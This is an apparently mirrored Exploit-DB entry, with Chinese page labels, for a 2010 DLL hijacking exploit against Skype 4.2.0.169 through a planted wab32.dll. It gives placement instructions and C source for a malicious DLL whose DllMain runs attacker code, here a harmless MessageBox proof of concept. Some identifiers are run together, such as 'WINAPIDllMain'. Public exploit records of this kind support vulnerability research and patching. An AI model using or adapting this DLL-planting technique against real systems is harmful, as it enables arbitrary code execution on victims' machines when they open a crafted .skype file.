Skype 4.2.0.169 – ‘wab32.dll’ DLL Hijacking

• Exploit Database
• 38 阅读

• 作者： Glafkos Charalambous
  日期： 2010-08-25
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/14766/

• /* 
  Exploit Title: Skype <= 4.2.0.169 DLL Hijacking Exploit (wab32.dll)
  Date: August 25, 2010
  Author: Glafkos Charalambous (glafkos[@]astalavista[dot]com)
  Version: Latest Skype v4.2.0.169
  Tested on: Windows 7 x64 Ultimate
  Vulnerable extensions: .skype
  Greetz: Astalavista, OffSEC, Exploit-DB
  Notes: Create folders %commonprogramfiles%\system and place wab32.dll
   %commonprogramfiles(x86)% on x64 bit
  */
  
  
  #include <windows.h>
  #define DllExport __declspec (dllexport)
  
  BOOL WINAPIDllMain (
  HANDLEhinstDLL,
  DWORD fdwReason,
  LPVOIDlpvReserved)
  {
  dll_hijack();
  return 0;
  }
  
  int dll_hijack()
  {
  MessageBox(0, "Skype DLL Hijacking!", "DLL Message", MB_OK);
  return 0;
  }